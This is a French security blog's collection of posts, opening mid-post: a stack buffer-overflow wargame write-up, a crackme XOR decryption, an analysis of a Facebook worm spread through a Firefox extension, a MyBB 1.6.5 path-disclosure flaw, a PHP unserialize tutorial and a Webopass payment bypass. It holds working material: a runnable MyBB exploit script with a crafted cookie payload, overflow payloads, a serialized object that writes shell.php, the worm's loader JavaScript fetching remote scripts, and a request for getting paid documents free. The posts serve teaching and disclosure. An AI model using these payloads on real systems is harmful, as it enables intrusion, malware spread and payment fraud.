  ESI: 00000000  EDI: 00000000  EBP: BF93CC00  ESP: BF93B33C  EIP: BF93CC4B
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[007B:BF93B33C]----------------------------------------------------------[stack]
BF93B38C : 24 CF 93 BF  32 CF 93 BF - 3A CF 93 BF  6A CF 93 BF $...2...:...j...
BF93B37C : ED CE 93 BF  03 CF 93 BF - 15 CF 93 BF  1C CF 93 BF ................
BF93B36C : B7 CE 93 BF  CC CE 93 BF - DD CE 93 BF  E6 CE 93 BF ................
BF93B35C : 1B CE 93 BF  82 CE 93 BF - 97 CE 93 BF  A6 CE 93 BF ................
BF93B34C : D1 CD 93 BF  F1 CD 93 BF - 04 CE 93 BF  0F CE 93 BF ................
BF93B33C : 00 00 00 00  9F CD 93 BF - AF CD 93 BF  C3 CD 93 BF ................
[007B:BF93B33C]-----------------------------------------------------------[data]
BF93B33C : 00 00 00 00  9F CD 93 BF - AF CD 93 BF  C3 CD 93 BF ................
BF93B34C : D1 CD 93 BF  F1 CD 93 BF - 04 CE 93 BF  0F CE 93 BF ................
BF93B35C : 1B CE 93 BF  82 CE 93 BF - 97 CE 93 BF  A6 CE 93 BF ................
BF93B36C : B7 CE 93 BF  CC CE 93 BF - DD CE 93 BF  E6 CE 93 BF ................
BF93B37C : ED CE 93 BF  03 CF 93 BF - 15 CF 93 BF  1C CF 93 BF ................
BF93B38C : 24 CF 93 BF  32 CF 93 BF - 3A CF 93 BF  6A CF 93 BF $...2...:...j...
BF93B39C : 8D CF 93 BF  D9 CF 93 BF - 00 00 00 00  20 00 00 00 ............ ...
BF93B3AC : 14 84 79 B7  21 00 00 00 - 00 80 79 B7  10 00 00 00 ..y.!.....y.....
[0073:BF93CC4B]-----------------------------------------------------------
=> 0xbf93cc4b:	int3   
   0xbf93cc4c:	int3   
   0xbf93cc4d:	int3   
   0xbf93cc4e:	int3   
   0xbf93cc4f:	int3   
   0xbf93cc50:	int3   
   0xbf93cc51:	int3   
   0xbf93cc52:	int3   
--------------------------------------------------------------------------------
0xbf93cc4b in ?? ()

On saute bien sur notre argument, maintenant, à vous de jouer 😉

Introduction au ROP – #1

Yop les guys! Il y a environ un mois j’ai décidé d’apprendre à exploiter un binaire en utilisant le ROP. Dans une série d’environ 3 articles (maybe plus/moins ?), je vais essayer de vous faire comprendre le principe du ROP, du moins ce que j’en ai compris 🙂

Pour la première partie, nous n’allons pas réellement faire du ROP, même pas du tout. Il me semble que ce challenge est une très bonne introduction au ROP, c’est pour cela que j’ai décidé de le traiter. Une chose importante est à prendre en compte : l’ASLR est activée et la pile est exécutable. Ce level est issu d’un wargame, pour ne pas me faire accuser de spoil je ne vais pas préciser lequel 😉

Voici la source du binaire :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vuln(char *src)
{
 char buff[128];

 strcpy(buff,src);
}

int main(int argc,char * argv[])
{
 if(argc<2)
 {
 printf("Please: %s <pseudo>\n",argv[0]);
 exit(1);
 }

 vuln(argv[1]);

 return 0;
}

La faille saute aux yeux, le strcpy ne vérifie pas le nombre de caractère qu’il copie dans le buffer de 128 chars. Hop hop, on sort gdb et on vérifie si on contrôle bien notre EIP.

gdb$ r $(python -c 'print "A"*140+"BBBB"')
Program received signal SIGSEGV, Segmentation fault.
 --------------------------------------------------------------------------[regs]
 EAX: BFE6BEE0  EBX: B7703FF4  ECX: 00000000  EDX: 00000091  o d I t s Z a P c
 ESI: 00000000  EDI: 00000000  EBP: 41414141  ESP: BFE6BF70  EIP: 42424242
 CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while running hook_stop:
 Cannot access memory at address 0x42424242
 0x42424242 in ?? ()

Parfait, on pourrait essayer d’exploiter de façon classique en mettant notre shellcode dans l’environnement et en faisant retourner le programme dessus. Sauf que dans notre cas, l’ASLR est activée! Donc l’adresse de notre shellcode changera à chaque nouvelle exécution, nous allons devoir trouver un autre moyen.

Regardons ce qui se passe du côté de la fonction vuln.

gdb$ disas mycpy
Dump of assembler code for function mycpy:
   0x08048404 <+0>:    push   ebp
   0x08048405 <+1>:    mov    ebp,esp
   0x08048407 <+3>:    sub    esp,0x98
   0x0804840d <+9>:    mov    eax,DWORD PTR [ebp+0x8]
   0x08048410 <+12>:    mov    DWORD PTR [esp+0x4],eax
   0x08048414 <+16>:    lea    eax,[ebp-0x88]
   0x0804841a <+22>:    mov    DWORD PTR [esp],eax
   0x0804841d <+25>:    call   0x8048320 <strcpy@plt>
   0x08048422 <+30>:    leave  
   0x08048423 <+31>:    ret    
End of assembler dump.

La fonction ne fait rien d’extraordinaire : passage des arguments à la fonction strcpy via la pile. Il faut tout de même faire attention à une chose : le registre eax contiendra le pointeur vers notre argument au moment du ret! Pourquoi ? Parce que la fonction strcpy retourne un pointeur vers le buffer de destination (et qu’en asm le retour de fonction se fait dans le registre eax). Il suffit donc de faire sauter notre programme vers une instruction du genre : jmp eax ou call eax et mettre notre shellcode dans notre argument. Essayons.

$ objdump -S ./1 | grep "call   \*%eax"
 80483ff:	ff d0                	call   *%eax
 80484fb:	ff d0                	call   *%eax

Parfait, nous avons une instruction avec une adresse statique qui va nous permettre de sauter sur notre argument.

gdb$ r $(python -c 'print "\xcc"*140+"\xff\x83\x04\x08"')

Program received signal SIGTRAP, Trace/breakpoint trap.
--------------------------------------------------------------------------[regs]
  EAX: BF957D70  EBX: B77A4FF4  ECX: 00000000  EDX: 00000091  o d I t s Z a P c 
  ESI: 00000000  EDI: 00000000  EBP: CCCCCCCC  ESP: BF957DFC  EIP: BF957D71
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[007B:BF957DFC]----------------------------------------------------------[stack]
BF957E4C : 98 EA 7C B7  B0 F6 7A B7 - F4 4F 7A B7  00 00 00 00 ..|...z..Oz.....
BF957E3C : 44 82 04 08  01 00 00 00 - 80 7E 95 BF  B6 EC 7B B7 D........~....{.
BF957E2C : D0 F3 7A B7  60 7E 95 BF - FF FF FF FF  C4 DF 7C B7 ..z.`~........|.
BF957E1C : 86 8B 67 B7  02 00 00 00 - C4 7E 95 BF  D0 7E 95 BF ..g......~...~..
BF957E0C : F4 4F 7A B7  80 84 04 08 - 00 00 00 00  98 7E 95 BF .Oz..........~..
BF957DFC : 01 84 04 08  00 9D 95 BF - D0 F6 7B B7  8B 84 04 08 ..........{.....
[007B:BF957DFC]-----------------------------------------------------------[data]
BF957DFC : 01 84 04 08  00 9D 95 BF - D0 F6 7B B7  8B 84 04 08 ..........{.....
BF957E0C : F4 4F 7A B7  80 84 04 08 - 00 00 00 00  98 7E 95 BF .Oz..........~..
BF957E1C : 86 8B 67 B7  02 00 00 00 - C4 7E 95 BF  D0 7E 95 BF ..g......~...~..
BF957E2C : D0 F3 7A B7  60 7E 95 BF - FF FF FF FF  C4 DF 7C B7 ..z.`~........|.
BF957E3C : 44 82 04 08  01 00 00 00 - 80 7E 95 BF  B6 EC 7B B7 D........~....{.
BF957E4C : 98 EA 7C B7  B0 F6 7A B7 - F4 4F 7A B7  00 00 00 00 ..|...z..Oz.....
BF957E5C : 00 00 00 00  98 7E 95 BF - B7 82 90 93  A6 54 7A 76 .....~.......Tzv
BF957E6C : 00 00 00 00  00 00 00 00 - 00 00 00 00  02 00 00 00 ................
[0073:BF957D71]-----------------------------------------------------------
=> 0xbf957d71:	int3   
   0xbf957d72:	int3   
   0xbf957d73:	int3   
   0xbf957d74:	int3   
   0xbf957d75:	int3   
   0xbf957d76:	int3   
   0xbf957d77:	int3   
   0xbf957d78:	int3   
--------------------------------------------------------------------------------
0xbf957d71 in ?? ()

OLÉ! Le programme a sauter comme prévu sur notre argument. Maintenant, libre à vous d’exécuter ce que bon vous semble 😉

Crackme Encrypt – RootBSD RMLL

Salut à tous, ça fait un petit moment que j’ai rien posté sur le blog.

Aujourd’hui je vais parler d’un petit crackme codé par RootBSD à l’occasion des RMLL au début du mois de Juillet. Il est téléchargeable à cette adresse : http://schedule2012.rmll.info/Atelier-Reverse-Engineering… En réalité, vous trouverez dans l’archive plusieurs crackme. Tous ceux qui portent le nom exam[0-9] sont des crackmes « classique », il faut trouver le mot de passe. Concernant les deux restants, le but est de reverser le programme du même nom que les deux images afin de les déchiffrer. Je vais parler de celui portant le nom « encrypt » en essayant de détailler un maximum pour les débutants. 🙂

Pour cela, on se servir d’IDA pour avoir une bonne vue d’ensemble de ce que fait le programme et de gdb si on a besoin de vérifier ce que fait le programme réellement. On balance donc le binaire dans IDA et voici ce à quoi ressemble la fonction main :

On va regarder plus en détail la première condition.

Rien d’extraordinaire en fait, le programme regarde juste le nombre d’argument qui lui sont donné. Si il n’est pas égal à deux, il appel une fonction qui nous affiche un message pour nous informer de comment il s’utilise. Regardons la suite du programme.

 

On vois assez rapidement que le programme essais d’ouvrir en lecture le fichier passé en paramètre. Le retour de la fonction « fopen » est stocké dans eax, le programme regarde si eax est égal à 0. Si le registre est égal à 0, tout s’est correctement déroulé et on passe à la suite, dans le cas contraire, un message d’erreur est affiché.

Le bloc suivant est un peut long, je préfère donc mettre directement le code assembleur et pas d’image 🙂

 0x08048706 <+96>: mov DWORD PTR [esp+0x8],0x2
 0x0804870e <+104>: mov DWORD PTR [esp+0x4],0x0
 0x08048716 <+112>: mov eax,DWORD PTR [esp+0x14]
 0x0804871a <+116>: mov DWORD PTR [esp],eax
 0x0804871d <+119>: call 0x80484b0 <fseek@plt> ; remet le curseur au début du fichier
 0x08048722 <+124>: mov eax,DWORD PTR [esp+0x14]
 0x08048726 <+128>: mov DWORD PTR [esp],eax
 0x08048729 <+131>: call 0x8048520 <ftell@plt> ; ftell retourne la taille du fichier
 0x0804872e <+136>: mov DWORD PTR [esp+0x18],eax
 0x08048732 <+140>: mov eax,DWORD PTR [esp+0x18]
 0x08048736 <+144>: mov DWORD PTR [esp],eax
 0x08048739 <+147>: call 0x80484e0 <malloc@plt> ; alloue un espace mémoire de la taille du fichier
 0x0804873e <+152>: mov DWORD PTR [esp+0x1c],eax
 0x08048742 <+156>: mov DWORD PTR [esp+0x8],0x0
 0x0804874a <+164>: mov DWORD PTR [esp+0x4],0x0
 0x08048752 <+172>: mov eax,DWORD PTR [esp+0x14]
 0x08048756 <+176>: mov DWORD PTR [esp],eax
 0x08048759 <+179>: call 0x80484b0 <fseek@plt> ; remet le curseur au début
 0x0804875e <+184>: mov edx,DWORD PTR [esp+0x18]
 0x08048762 <+188>: mov eax,DWORD PTR [esp+0x1c]
 0x08048766 <+192>: mov ecx,DWORD PTR [esp+0x14]
 0x0804876a <+196>: mov DWORD PTR [esp+0xc],ecx
 0x0804876e <+200>: mov DWORD PTR [esp+0x8],0x1
 0x08048776 <+208>: mov DWORD PTR [esp+0x4],edx
 0x0804877a <+212>: mov DWORD PTR [esp],eax
 0x0804877d <+215>: call 0x80484d0 <fread@plt> ; lis le fichier
 0x08048782 <+220>: mov eax,DWORD PTR [esp+0x14]
 0x08048786 <+224>: mov DWORD PTR [esp],eax
 0x08048789 <+227>: call 0x8048490 <fclose@plt> ; ferme le fichier ouvert en lecture
 0x0804878e <+232>: mov eax,DWORD PTR [esp+0x18]
 0x08048792 <+236>: mov DWORD PTR [esp+0x4],eax
 0x08048796 <+240>: mov eax,DWORD PTR [esp+0x1c]
 0x0804879a <+244>: mov DWORD PTR [esp],eax
 0x0804879d <+247>: call 0x804862a <super_encrypt> ; chiffre notre fichier ? 🙂
 0x080487a2 <+252>: mov edx,0x804893a ; "w"
 0x080487a7 <+257>: mov eax,DWORD PTR [ebp+0xc]
 0x080487aa <+260>: add eax,0x4
 0x080487ad <+263>: mov eax,DWORD PTR [eax]
 0x080487af <+265>: mov DWORD PTR [esp+0x4],edx
 0x080487b3 <+269>: mov DWORD PTR [esp],eax
 0x080487b6 <+272>: call 0x8048530 <fopen@plt> ; ouvre notre fichier en écriture!
 0x080487bb <+277>: mov DWORD PTR [esp+0x14],eax
 0x080487bf <+281>: cmp DWORD PTR [esp+0x14],0x0

Il me semble que j’ai assez commenté le code (désolé pour la couleur, wordpress ne gère pas l’assembleur…, donc c’est moche!). Bref, pour ceux qui ont un peut de mal avec l’assembleur : ce morceau lis le contenu du fichier après avoir alloué un espace mémoire de la bonne taille puis appel la fonction « super_encrypt » pour probablement chiffrer notre fichier et enfin fini par fermer le fichier pour l’ouvrir en écriture. On étudiera la suite du programme après (ou pas), on va pour le moment se concentrer sur la fonction « super_encrypt ».

La fonction ressemble à ceci

La première chose à savoir sur cette fonction, c’est qu’elle prend en argument 2 paramètres : le données du fichier et la taille de ces données! Dans les screenshots qui suivent, j’ai renommé quelques variables de manière à mieux s’y repérer.

 Bon, rien de spécial à ce niveau. Le programme stocke l’adresse du contenu du fichier à un certain offset de ebp. Il met ensuite en place un canary, mais on ne s’en occupera pas (pas du tout important ici en fait…). On voit juste après qu’une chaine de caractère est déposé à un certain offset de ebp. Cette chaine correspond à « rootbsd ». On verra par la suite que c’est cette clef qui est utilisée pour chiffrer notre fichier. Un compteur est aussi initialisé à 0, il sert dans la boucle facilement identifiable sur le graph ci-dessus.

Well, il ne nous reste plus qu’à regarder ce que fait en détail la boucle ci-dessous.

On remarque que la boucle tourne autant de fois que la taille du fichier. Elle passe byte par byte sur le fichier en fait. Pour chaque byte du fichier, elle ajoute 10 à ce byte et le xor avec un des caractère de clef qui a été définie plus haut « rootbsd ». Parfait, le chiffrement par xor est très facilement déchiffrable. Pour ceux qui n’ont jamais eu affaire à XOR :

  • A xor B = C
  • B xor C = A
  • C xor A = B

Il suffit donc de xorer notre image chiffré avec « rootbsd » et de décrémenter chaque byte de 10. Pour déchiffrer, il faut aussi géré les cas dans lesquels le byte déchiffré est inférieur à 0 (après lui avoir soustrait 10!!). Si c’est le cas, le byte d’origine vaut en fait : byte_origine = 256 + byte_déchiffré. (byte_déchiffré < 0).

La suite de la fonction main n’a pas beaucoup d’intérêt : elle écrit caractère par caractère dans notre fichier ce qui a été chiffré.

Maintenant, place au codage pour déchiffrer notre image 🙂

#!/usr/bin/env python
# encoding: utf-8

import sys
import os

def main():

    key = "rootbsd\x00"
    enc = open("./to_student/encrypt.png","rb").read()

    retour = ""
    for i in range(len(enc)):
        temp = ord(enc[i]) ^ ord(key[i%len(key)])
        temp -= 0xa
        if temp < 0:
            temp = 256 + temp
        retour += chr(temp)

    return retour

if __name__ == '__main__':
	print main()

$ ./encrypt-solve.py > sortie.png
$ file sortie.png
 sortie.png: PNG image data, 206 x 83, 8-bit/color RGBA, non-interlaced

Et voici l’image qui était chiffré (noir sur noir = pas top top :D):
Comme à chaque fois, si vous avez des remarques, les commentaires sont là pour ça !

Un ver facebook dans un module firefox

EDIT 18/01/2012 – 12h57 : Visiblement l’auteur du bouzin a modifié le truc, je regarde ça et j’édite l’article 🙂

Je traînais sur facebook jusqu’à ce que je tombe sur une page à boulet : Les 5 trucs que font toutes les filles avant de retrouver leur mec … Et là, à ma grande surprise, la page me redirige vers un site! Probablement grâce à un morceau de code javascript, mais je vais vous laisser enquêter sur ça 🙂

Bref, je me retrouve donc sur une page qui a tout l’air d’une page de phishing. On remarque immédiatement que le but de la page est de faire télécharger une extension à l’utilisateur. Le cadre avec la vidéo youtube-like est en fait un iframe pointant vers http://lesfrancais.info/creme.php. En explorant le code source de cette page, on trouve le lien vers l’extension Firefox que le site veut nous faire télécharger.

A partir de ce moment là, je me retrouve avec une extension firefox en .xpi dont je ne sais que faire. Je décide donc de regarder ce que me renvois la commande file.


$ file trucs.xpi
trucs.xpi: Zip archive data, at least v2.0 to extract

Ôh magie, un fichier ZIP! Je m’empresse de le dé-zipper. Et voici ce que je découvre :


$ ls -ls
total 72
8 -rw-r--r--@ 1 tlk  staff    173 22 déc 23:09 chrome.manifest
8 -rw-r--r--@ 1 tlk  staff    149  6 déc 18:56 chrome.txt
0 drwxr-xr-x  8 tlk  staff    272  1 jan 20:45 content
8 -rw-r--r--@ 1 tlk  staff    924  3 jan 00:38 install.rdf
8 -rw-r--r--@ 1 tlk  staff   1231  3 jan 00:38 install.txt

Je regarde vite fait ce que contiennent les fichiers install.rdf, install.txt, chrome.manifest et chrome.txt. Mais rien de bien cool, sauf peut être un site internet, mais qui visiblement ne correspond à rien (un whois qui indique une personne n’habitant pas en france, même chose pour les autres domaines que l’on va rencontrer)

Le dossier content contient plusieurs fichiers javascript dont je ne sait pas à quoi ils peuvent correspondre. Le seul fichier qui me paraît intéressant se nomme youtube.js


loadScript_you();
function loadScript_you() {
if ('https:' == document.location.protocol) return false;
var s = document.createElement('script');
s.setAttribute("type","text/javascript");
s.setAttribute("src", "http://les-francais.info/g.js");
var head=document.getElementsByTagName("head")[0];
if( head==null) return false;
head.appendChild(s);
return true;
}

Le code javascript ajoute une balise script dans la balise head de la page. Ce qui va charger un nouveau code javascript.

<pre>function addScript() {
        var s = document.createElement('script');
        s.setAttribute("type", "text/javascript");
        s.setAttribute("src", "http://buzz-france.info/w.js");
        var a = document.getElementsByTagName('script')[0];
        if (a == null) return false;
        a.appendChild(s);
        return true
}
addScript();
var installed = 1;</pre>

On regarde le nouveau code javascript qui est chargé dans le navigateur… Et là, on rigole. Voici en gros ce que réalise ce script : il vous fait liker une de ces 5 pages :

(Les deux derniers liens permettent de voir que la personne n’en est pas à son coup d’essai ;))

Le script va aussi marquer certains de vos amis sur des photos, changer votre statut et d’autres choses qui ont pour but de faire télécharger au plus de personne possible l’extension firefox.

Autre chose assez fun : l’auteur a pensé à mettre un compteur pour voir le nombre de personne qui sont actuellement sur facebook et qui ont l’extension activée. A l’heure où je publie l’article, le compteur est à environ 800, hier soir il était à plus de 3000 😉

En bref, un module firefox est un véritable point d’entré sur le navigateur d’un utilisateur. On peut enregistrer tout ce que l’utilisateur va valider comme formulaire, voir sur quels sites il va se balader, etc … Un véritable petit rootkit pour navigateur.

EDIT DU 18/01/2012 – 13h01 :

Le téléchargement de l’extension se fait maintenant depuis cette adresse.

Le premier fichier a changé d’adresse, ainsi que le second : premier fichier, second fichier.

Les différentes pages que l’utilisateur va partager par différents moyens :

L’adresse du compteur a aussi changé : compteur. Visiblement, l’auteur n’a toujours pas compris qu’il pouvait faire des choses bien plus dévastatrices. (et tant mieux!)

MyBB 1.6.5 – Full Path Disclosure

Pour bien commencer l’année 2012, voici une full path disclosure dans la lignée de mon dernier article.

Dans la dernière version de MyBB (1.6.5), index.php ligne 323 :


if($mybb->user['uid'] == 0)
{
// Build a forum cache.
$query = $db->query("
SELECT *
FROM ".TABLE_PREFIX."forums
WHERE active != 0
ORDER BY pid, disporder
");

$forumsread = unserialize($mybb->cookies['mybb']['forumread']);
}

Les cookies n’étant absolument pas filtré, il suffit de mettre dans le cookie « mybb[forumread] » (déduit après analyse du code) une instance de classe serializé qui existe ou non dans le code. Nous récupérerons alors une fatal error car la variable $forumsread est utilisé plus bas comme un tableau.

Exploit en Python :

#!/usr/bin/env python
# encoding: utf-8
"""
MyBB 1.6.5 Full Path Disclosure
https://tlking.wordpress.com/
"""

import httplib
import sys

if __name__ == "__main__":
	
    if len(sys.argv) != 3:
        print("Usage :")
        print("\t{0} host path".format(sys.argv[0]))
        print("Exemple :")
        print("\t{0} \"demo.forum-software.org:80\" \"/mybb/\"".format(sys.argv[0]))
        sys.exit(0)
		
    host = sys.argv[1]
    path = sys.argv[2]
	
    print("Launch attack on : http://{0}{1}/index.php".format(host,path))
	
    path += "/index.php"
    headers = {"Cookie":"mybb[forumread]=O%3A10%3A%22TlkMyBBFPD%22%3A0%3A%7B%7D;"}
	
    connexion = httplib.HTTPConnection(host)
    connexion.request("GET",path, "", headers)
    reponse = connexion.getresponse()
    data = reponse.read()
	
    if data.count("Fatal error") > 0:
        print("\nIt's work :")
        print(data)
    else:
        print("Don't work... Want to see the result anyway ? (1/0)")
        question = input()
        if question == 1:
            print(data)

La faille unserialize de PHP

Pour bien comprendre cet article il est nécessaire d’avoir des bases en Programmation Orientée Objet PHP. Cela dit, c’est aussi compréhensible par le commun des mortels…

La première chose à savoir, c’est le fonctionnement du couple de fonction serialize() et unserialize(). Ces fonctions garderons le type et la structure de la variable donnée en paramètre. Ces deux fonctions peuvent donc aussi bien être utilisé sur des tableaux (array) que sur des instances d’objet.

$bool = true;
$string = "true";

class TlkClass {
private $foo = "bar";
private $bool = false;
}

$objet = new TlkClass();

echo serialize($bool)."\n";
echo serialize($string)."\n";
echo serialize($objet)."\n";

Ce script vas donc renvoyer :

b:1;
s:4:"true";
O:8:"TlkClass":2:{s:13:"TlkClassfoo";s:3:"bar";s:14:"TlkClassbool";b:0;}

Ce qui va nous intéresser c’est surtout les objets linéarisé, cependant, comme serialize() vas garder le type de la variable, un bypass authentification pourra être envisageable dans certains cas un peut (beaucoup?) foireux (rencontré dans un hackit). Je donnerais un exemple plus bas.

Il faut aussi savoir que lorsque un objet linéarisé passe dans la fonction unserialize() la méthode magique __wakeup() sera appelée par PHP. (lorsque un objet est linéarisé c’est la méthode magique __sleep() qui est appelée, mais dans notre cas nous en auront très rarement besoin). L’autre méthode magique à connaître est la méthode __destruct() qui elle est appelée lorsque l’objet est détruit (donc à la fin du script ou lors de l’utilisation d’unset()).

Imaginons maintenant que le développeur a laissé dans son code une variable qui peut être contrôlé par l’utilisateur et qui est passé dans la fonction unserialize(). Que l’attaquant possède le code (comme il est possible avec les CMS) et que le script utilise une classe ayant une méthode __wakeup() ou __destruct() écrivant des fichiers, en incluant… (tout autre type de faille est possible : SQL Injection, ….) L’attaquant pourra sans aucun problème exploiter la faille.

Exemple


class CacheClass {

private $fileName;
private $contenu = "default";

public function __construct()
{
$this->fileName = md5(rand()).".cache";
}

public function getContenu()
{
return $this->contenu;
}

public function setContenu($contenu)
{
$this->contenu = $contenu;
}

public function __destruct()
{
$file = fopen("./cacheDir/".$this->fileName,"w+");
fwrite($file,$this->contenu);
fclose($file);
}
}

$user = unserialize(base64_decode($_GET['user']));

if($user['password'] == "Le Password Impossible à Trouver!") {
phpinfo();
}

Nous avons deux but sur cet exemple, afficher le phpinfo() et uploader notre propre fichier php.

Afficher le phpinfo

Comme la fonction serialize() garde le type de la variable, il va être facile d’afficher le phpinfo en mettant comme valeur pour l’index ‘password’ un booléen « True ». Pour cela rien de plus simple :


$var = array('password' => true);
var_dump(base64_encode(serialize($var)));

Ainsi, il suffira de donner la valeur affiché à notre variable get user pour appeler la fonction phpinfo().

Uploader notre propre fichier

Le principe est exactement le même, sauf que cette fois ci nous allons passer en paramètre une instance linéarisé de la classe CacheClass.


class CacheClass {
private $fileName = 'shell.php';
private $contenu = '<?php phpinfo();';
}

$var = array(
'password' => false,
'object' => new CacheClass(),
);

var_dump(base64_encode(serialize($var)));

Ici, nous somme obligé de donner un Array avec un index ‘password’ car sinon, le script php plante (il affiche une erreur disant : « Fatal Error: Cannot use object of type CacheClass as array ») et la méthode __destruct() n’est pas appelée.

De la même manière, il suffit d’affecter la valeur renvoyé par notre script à notre variable get ‘user’ et le tour est joué! Un fichier nommé shell.php contenant notre code malicieux est créé.

Et comme à chaque article, je suis ouvert à toute critique ! (approbations, insultes, fautes d’orthographe…)

N’hésitez surtout pas à me suivre sur mon Twitter!

Webopass ? Bypass.

J’étais entrain de chercher dans la documentation de Webopass pour savoir comment leur API fonctionne et donc comment réaliser un système de validation du code sans passer par leur formulaire. Je vais donc sur le wiki puis sur la page Intégration en PHP.

Et là… C’est le drame. On rencontre un script php qui à première vu a l’air de fonctionner sans aucun soucis, mais en réalité si le codeur intègre ce code à son site, le client pourra s’il le veut, payer gratuitement! Voici le code en question :

<?php
$code = "abc";

$test = @file("http://payer.webopass.fr/valider_code.php?cc=XXXX&amp;document=YYYY&amp;requete=1&amp;code=$code");
$test[0] = trim($test[0]);

if($test[0] == "OUI") echo "Le code est valide";
elseif($test[0] == "NON") echo "Le code est invalide";

Bon, évidemment on remplace le $code = « abc »; par quelque chose dans ce genre : $code = $_GET[‘code’];.

Si le client malveillant a un compte webopass (compte que tout le monde peut créer gratuitement !), que sur ce compte se trouve un document payant et que le code de test est configuré, le client aura la possibilité d’accéder au document payant gratuitement. Il lui suffira d’envoyer une requête dans ce genre : acces.php?code=codeDeTest%26cc=idDuCompteClient%26document=idDuDocumentPayant

Voir un exemple

Encore une fois, je suis ouvert à toute critique ! (approbations, insultes, fautes d’orthographe…)